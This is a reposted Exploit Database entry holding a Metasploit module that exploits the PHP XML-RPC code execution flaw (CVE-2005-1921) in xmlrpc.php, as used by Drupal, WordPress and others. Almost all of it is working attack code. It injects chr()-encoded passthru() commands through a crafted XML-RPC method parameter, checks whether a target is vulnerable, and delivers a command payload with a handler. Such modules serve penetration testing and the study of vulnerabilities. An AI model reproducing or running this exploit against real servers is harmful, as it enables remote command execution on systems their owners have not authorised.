XML-RPC Library 1.3.0 – ‘xmlrpc.php’ Arbitrary Code Execution (Metasploit)

• Exploit Database
• 16 阅读

• 作者： Metasploit
  日期： 2010-07-25
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/16882/

• ##
  # $Id: php_xmlrpc_eval.rb 9929 2010-07-25 21:37:54Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	# XXX This module needs an overhaul
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'PHP XML-RPC Arbitrary Code Execution',
  			'Description'=> %q{
  					This module exploits an arbitrary code execution flaw
  				discovered in many implementations of the PHP XML-RPC module.
  				This flaw is exploitable through a number of PHP web
  				applications, including but not limited to Drupal, WordPress,
  				Postnuke, and TikiWiki.
  			},
  			'Author' => [ 'hdm', 'cazz' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9929 $',
  			'References' =>
  				[
  					['CVE', '2005-1921'],
  					['OSVDB', '17793'],
  					['BID', '14088'],
  				],
  			'Privileged' => false,
  			'Platform' => ['unix', 'solaris'],
  			'Payload'=> {
  					'Space' => 512,
  					'DisableNops' => true,
  					'Keys'=> ['cmd', 'cmd_bash'],
  				},
  			'Targets'=> [ ['Automatic', { }], ],
  			'DefaultTarget' => 0,
  			'DisclosureDate' => 'Jun 29 2005'
  			))
  
  
  		register_options(
  			[
  				OptString.new('PATH', [ true,"Path to xmlrpc.php", '/xmlrpc.php']),
  			], self.class)
  
  		deregister_options(
  			'HTTP::junk_params', # not your typical POST, so don't inject params.
  			'HTTP::junk_slashes' # For some reason junk_slashes doesn't always work, so turn that off for now.
  			)
  	end
  
  	def go(command)
  
  		encoded = command.unpack("C*").collect{|x| "chr(#{x})"}.join('.')
  		wrapper = rand_text_alphanumeric(rand(128)+32)
  
  		cmd = "echo('#{wrapper}'); passthru(#{ encoded }); echo('#{wrapper}');;"
  
  		xml =
  		'<?xml version="1.0"?>' +
  		"<methodCall>" +
  			"<methodName>"+ rand_text_alphanumeric(rand(128)+32) + "</methodName>" +
  			"<params><param>" +
  				"<name>" + rand_text_alphanumeric(rand(128)+32) + "');#{cmd}//</name>" +
  				"<value>" + rand_text_alphanumeric(rand(128)+32) + "</value>" +
  			"</param></params>" +
  		"</methodCall>";
  
  		res = send_request_cgi({
  				'uri'=> datastore['PATH'],
  				'method' => 'POST',
  				'ctype'=> 'application/xml',
  				'data' => xml,
  			}, 5)
  
  		if (res and res.body)
  			b = /#{wrapper}(.*)#{wrapper}/sm.match(res.body)
  			if b
  				return b.captures[0]
  			elsif datastore['HTTP::chunked'] == true
  				b = /chunked Transfer-Encoding forbidden/.match(res.body)
  				if b
  					raise RuntimeError, 'Target PHP installation does not support chunked encoding.Support for chunked encoded requests was added to PHP on 12/15/2005, try disabling HTTP::chunked and trying again.'
  				end
  			end
  		end
  
  		return nil
  	end
  
  	def check
  		response = go("echo ownable")
  		if (!response.nil? and response =~ /ownable/sm)
  			return Exploit::CheckCode::Vulnerable
  		end
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		response = go(payload.encoded)
  		if response == nil
  			print_error('exploit failed: no response')
  		else
  			if response.length == 0
  				print_status('exploit successful')
  			else
  				print_status("Command returned #{response}")
  			end
  			handler
  		end
  	end
  end